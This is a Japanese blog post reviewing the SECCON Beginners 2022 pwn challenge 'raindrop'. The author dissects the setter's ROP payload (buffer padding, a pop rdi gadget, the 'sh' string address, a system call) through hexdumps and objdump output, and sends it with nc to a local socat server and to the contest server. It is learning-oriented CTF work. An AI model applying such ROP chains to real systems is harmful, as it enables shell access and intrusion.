SECCON Beginners 2022 復習(2/x)
raindrop
本番中
名前的にROPする問題と分かったが、ROPは勉強したけど良くわからなかった印象
解けると思わなかったので未着手
Writeup
作問した人のWriteupが以下 feneshi.co
BeginnersBofでWriteupのスクリプトが動かなくて困ったので、最初からWriteupのスクリプトを元にバイナリファイルを作って勉強することに。
サーバ準備
socat tcp-l:9001,reuseaddr,fork system:./chall & echo flag > flag.txt
Writeupスクリプト実行。今回は正しく動いた。
$ python3 answer_write.py flag Segmentation fault 2022/06/07 23:16:26 socat[11902] E waitpid(): child 11903 exited with status 139
サーバに送り付けているバイナリファイルの中身を見るため、以下をスクリプトの途中に追加
with open("payload", mode='wb') as f: f.write(payload)
中身を見てみる
$ hexdump -Cv payload 00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 |aaaaaaaaaaaaaaaa| 00000010 61 61 61 61 61 61 61 61 53 14 40 00 00 00 00 00 |aaaaaaaaS.@.....| 00000020 f4 20 40 00 00 00 00 00 e5 11 40 00 00 00 00 00 |. @.......@.....| 00000030
aを24個埋めた後、「00000000 00401453」「00000000 004020f4」「00000000 004011e5」を積んでいるらしい。 「00000000 00401453」でリターンアドレスを上書いているのだと思う。 「00000000 00401453」に何があるか見てみる
$ objdump -D -M intel chall > chall.txt $ less chall.txt 401452: 41 5f pop r15 401454: c3 ret
「5f c3」らしい。
調べると「5f」は「pop edi」とのこと。「c3」は「ret」なので、「pop edi」命令と「ret」命令を実行するアドレスに飛ばしているようだ。
となると、「00000000 004020f4」はediに入れたいアドレスで、「00000000 004011e5」はret命令で戻るアドレスということになる。
「00000000 004020f4」もみてみる。
$ less chall.txt 4020f4: 73 68 jae 40215e <__GNU_EH_FRAME_HDR+0x66>
jae命令のアドレスに見える。これだけではよくわからないので、「00000000 004011e5」を見てみる。
$ less chall.txt 4011e5: e8 b6 fe ff ff call 4010a0 <system@plt>
system関数をcallするところだった。system関数の引数を調べてみる。
#include <stdlib.h> int system(const char *command);
引数は文字列のアドレスらしい。ということは「00000000 004020f4」はjae命令のアドレスとして扱っているのではなく、 文字列のアドレスとして扱っていることになる。もう一度「00000000 004020f4」を見てみる。
$ less chall.txt 4020f4: 73 68 jae 40215e <__GNU_EH_FRAME_HDR+0x66>
「73 68」が文字列のようだ。調べたら「73」が「s」、「68」が「h」なので「sh」ということになる。
ただ、終端(NULL : 0x00)を確認していないのでもう一度見る。
$ less chall.txt 4020f4: 73 68 jae 40215e <__GNU_EH_FRAME_HDR+0x66> ... Disassembly of section .eh_frame_hdr: 00000000004020f8 <__GNU_EH_FRAME_HDR>: 4020f8: 01 1b add DWORD PTR [rbx],ebx
4020f4の次が4020f8になっている。「73 68」の後ろは空白になっているが、おそらく「73 68 00 00」なのだろう。
まとめると、
「00000000 00401453」を書き込むことで「pop edi」命令と「ret」命令を実行するアドレスに行くようにし、
文字列「sh\0」のアドレス「00000000 004020f4」を入れて、system関数のアドレス「00000000 004011e5」を入れておくことで、
vuln関数から出るときにsystem("sh")を実行しているようだ。
最後に、バイナリファイルを入れてフラグが取得できることを確認する。
(自分)$ nc localhost 9001 < payload nc localhost 9001 < payload Hey! You are now going to try a simple problem using stack buffer overflow and ROP. I will list some keywords that will give you hints, so please look them up if you don't understand them. - stack buffer overflow - return oriented programming - calling conventions stack dump... [Index] |[Value] ========+=================== 000000 | 0x0000000000000000 <- buf 000001 | 0x0000000000000000 000002 | 0x00007fff73cc4400 <- saved rbp 000003 | 0x00000000004011ff <- saved ret addr 000004 | 0x0000000000000000 finish You can earn points by submitting the contents of flag.txt Did you understand? bye! stack dump... [Index] |[Value] ========+=================== 000000 | 0x6161616161616161 <- buf 000001 | 0x6161616161616161 000002 | 0x6161616161616161 <- saved rbp 000003 | 0x0000000000401453 <- saved ret addr 000004 | 0x00000000004020f4 cat flag.txt ^C (自分)$ Segmentation fault 2022/06/07 23:51:19 socat[11948] E waitpid(): child 11949 exited with status 139 cat flag.txt flag
「finish」の後無応答になったのでshが動いたのかと思ったら違った。なにこれどういう状態?ctrl-cしたらまた無応答になったので「cat flag.txt」したらフラグを取得できた。
感想
「finish」の後何が起きたのかよくわからないのが相変わらずpwnの問題だなという感じだが、ROPがどういうものか初めて理解できたと思った。
2022/06/12追記
discordのpwnableのチャネルを見ていたら本番サーバが生きていると分かったので、raindrop.quals.beginners.seccon.jp:9001にパイナリファイルpayloadを流し込んでみた。
(自分)$ nc raindrop.quals.beginners.seccon.jp 9001 < payload Hey! You are now going to try a simple problem using stack buffer overflow and ROP. I will list some keywords that will give you hints, so please look them up if you don't understand them. - stack buffer overflow - return oriented programming - calling conventions stack dump... [Index] |[Value] ========+=================== 000000 | 0x0000000000000000 <- buf 000001 | 0x0000000000000000 000002 | 0x00007ffd3c0fbfd0 <- saved rbp 000003 | 0x00000000004011ff <- saved ret addr 000004 | 0x0000000000000000 finish You can earn points by submitting the contents of flag.txt Did you understand? bye! stack dump... [Index] |[Value] ========+=================== 000000 | 0x6161616161616161 <- buf 000001 | 0x6161616161616161 000002 | 0x6161616161616161 <- saved rbp 000003 | 0x0000000000401453 <- saved ret addr 000004 | 0x00000000004020f4 finish cat flag.txt ^C (自分)$
やっぱりfinishの後何を応答しても受けつけてくれなくなる。
自分の環境ではctrl-cで抜けたらサーバのシェルが動いたが、本番環境では自分のシェルに戻ってしまった。流し込むバイナリが正しければいいという話ではなく、標準入出力の仕様を理解していないとだめらしい。
何がいけないのか良く分からないがpythonのpwntoolsを使うしかないのかなと思う。